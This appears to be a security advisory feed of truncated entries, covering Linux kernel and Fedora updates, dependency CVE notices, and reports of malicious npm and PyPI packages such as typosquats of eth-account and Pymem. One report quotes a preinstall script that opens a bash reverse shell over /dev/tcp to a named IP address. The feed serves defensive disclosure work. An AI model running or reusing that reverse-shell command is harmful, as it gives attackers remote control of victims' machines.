CVE-2026-81011

In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: pass validated element count to package parsers The per-type package parsers are handed the wrong element count. hpinitbiospackageattribute validates obj-package.count and then calls one of the five...

@alma-cdk/construct-library (>=0.0.0, <=2.3.0), @amazon-codecatalyst/blueprint-component.dev-environments (>=0.3.0, <=0.3.159) +149 more potentially affected by CVE-2026-89066 via projen (>=0.3.178, <=0.101.37)

projen NPM version =0.3.178, =0.0.0, =0.3.0, =0.3.0, =0.3.60, =0.3.59, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.3.1, =0.3.65, =0.3.82, =0.3.1, =0.3.159 - @amazon-codecatalyst/blueprints.serverless-tinyurl 0.3.0 and more Source cves: CVE-2026-89066 Source advisory: SNYK:JS-PROJEN-19823705...

[SECURITY] Fedora 45 Update: grpcurl-1.9.4-1.fc45

Like cURL, but for gRPC: Command-line tool for interacting with gRPC servers...

[SECURITY] Fedora 45 Update: tkimg-2.1.1-1.fc45

This package contains a collection of image format handlers for the Tk photo image type, and a new image type, pixmaps...

[SECURITY] Fedora 45 Update: python-pip-26.1.2-5.fc45

pip is a package management system used to install and manage software packag es written in Python. Many packages can be found in the Python Package Index PyPI. pip is a recursive acronym that can stand for either "Pip Installs Packages" or "Pip Installs Python"...

[SECURITY] Fedora 45 Update: bluez-5.87-7.fc45

Utilities for use in Bluetooth applications: - avinfo - bluemoon - bluetoothctl - bluetoothd - btattach - btmon - hex2hcd - mpris-proxy The BLUETOOTH trademarks are owned by Bluetooth SIG, Inc., U.S.A...

CLSA-2026-1789150088 TuxCare security update for org.springframework.graphql (6 CVEs)

TuxCare rebuilt 2 org.springframework.graphql packages to address 6 CVEs. Fixed in 1.3.7-tuxcare.4...

MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

MAL-2026-16139 Malicious code in tailwind-form-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 92f4a69a3b50ac2347f8b3324abca2c0df1cf83422ee0f164b799cb748fa76b5 The package presents itself as a Tailwind CSS forms plugin but its main entry src/index.js is a heavily obfuscated module obfuscator.io-style rotatin...

Security Bulletin: IBM Cloud Pak for Data is vulnerable to buffer overflow due to cryptography ( CVE-2026-39892 )

Summary Potential vulnerabilities in cryptography package CVE-2026-39892 has been identified that may affect IBM Cloud Pak for Data. Vulnerability Details CVEID:CVE-2026-39892 DESCRIPTION: cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From...

SUSE CVE-2026-19816

A flaw was found in PackageKit. PackageKit skips the polkit authorization check for transactions carrying the SIMULATE dry-run flag. In the dnf5 backend, the RepoRemove handler ignores that contract and always executes the real transaction because its guard is written as role == REPOREMOVE ||...

MAL-2026-16131 Malicious code in aitextutils-py (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d70c1bd80ce0363cc25271a25e742ebe8c4346c872456f78b1ac039ef4641a67 The package was found to contain malicious code or consuming dependency that contains malicious code Source: kam193...

Malicious code in aitextkit-py (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47e96f519e8acba48a6f7760b37a9ad70b94bfbf79fb5eac4fc682849b2837e3 The package presents itself as a small text-cleaning utility library, but both shipped implementation modules text.py and system.py consist of a...

Malicious code in pymem-win (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c611131ac135f4608698ce56eebd7dc89623b591510a050f2059369c9d51bbf Pymem-win is a near-verbatim copy of the legitimate upstream Pymem package reusing its description, repository URL github.com/srounet/Pymem, and auth...

MAL-2026-16128 Malicious code in pymem-win (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c611131ac135f4608698ce56eebd7dc89623b591510a050f2059369c9d51bbf Pymem-win is a near-verbatim copy of the legitimate upstream Pymem package reusing its description, repository URL github.com/srounet/Pymem, and auth...

Moderate: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

An update for Red Hat Hardened Images RPMs is now available. This update includes the following RPMs: cups: cups-2.4.19-4.1.hum1 aarch64, x8664 cups-client-2.4.19-4.1.hum1 aarch64, x8664 cups-devel-2.4.19-4.1.hum1 aarch64, x8664 cups-filesystem-2.4.19-4.1.hum1 noarch cups-ipptool-2.4.19-4.1.hum1...

Malicious code in eth-account-web3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38b69dc345e5f7b75dbe6dccaf3dfc013a98e302176130aac064cbd8d042bae7 The distribution eth-account-web3 installs under the import name ethaccount, colliding with the legitimate ethereum/eth-account library. On import,...

Malicious code in web3-eth-account (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19e3eadaccc63a1e12d0e3cfe153cbf78e114f30285d4da3694990827e5f5c5a The package web3-eth-account typosquats the legitimate eth-account library and copies its metadata ApeWorX/ethereum.org author addresses, README...

01basicreact (>=0.1.0, <=0.1.9), 10by10-react-app (1.2.1) +6203 more potentially affected by CVE-2026-87776 via compression (>=1.0.0, <=1.8.1)

compression NPM version =1.0.0, =0.1.0, =0.30.0, =4.11.0, =0.0.0-canary.0, =0.0.1, =2.0.1, =0.1.1, =1.0.0, =1.0.3 and more Source cves: CVE-2026-87776 Source advisory: SNYK:JS-COMPRESSION-19778377...

ROOT-APP-MAVEN-CVE-2026-22754 CVE-2026-22754 in org.springframework.security:spring-security-config - Patched by Root

Root has patched CVE-2026-22754 in the org.springframework.security:spring-security-config package for Root:Maven. Multiple fixed versions available...